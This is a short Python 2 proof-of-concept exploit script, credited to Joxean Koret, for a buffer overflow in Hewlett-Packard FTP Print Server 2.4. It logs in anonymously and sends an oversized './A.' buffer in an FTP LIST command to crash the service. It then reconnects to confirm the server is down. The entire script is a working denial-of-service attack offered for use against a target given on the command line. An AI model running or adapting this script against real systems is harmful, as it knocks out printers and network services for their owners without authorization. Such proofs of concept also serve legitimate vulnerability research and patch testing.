import sys
from ftplib import FTP

print "Hewlett-Packard FTP Print Server Version 2.4 Buffer Overflow (POC)"
print "Copyright (c) Joxean Koret"
print

if len(sys.argv) == 1:
print "Usage: %s <target>" % sys.argv[0]
sys.exit(0)

target = sys.argv[1]

print "[+] Running attack against " + target

try:
ftp = FTP(target)
except:
print "[!] Can't connect to target", target, ".", sys.exc_info()[1]
sys.exit(0)
try:
msg = ftp.login() # Login anonymously
print msg
except:
print "[!] Error logging anonymously.",sys.exc_info()[1]
sys.exit(0)

iMax = 6
buf = "./A."

for i in range(iMax):
buf += buf

print "[+] Sending buffer of",len(buf),"byte(s) ... "

try:
print "[+] Please, note that sometimes your connection will not be dropped. "
ftp.retrlines("LIST " + buf)
print "[!] Exploit doesn't work :("
print
sys.exit(0)
except:
print "[+] Apparently exploit works. Verifying ... "
print sys.exc_info()[1]

ftp2 = FTP(target)

try:
msg = ftp2.login()
print "[!] No, it doesn't work :( "
print
print msg
sys.exit(0)
except:
print "[+] Yes, it works."
print sys.exc_info()[1]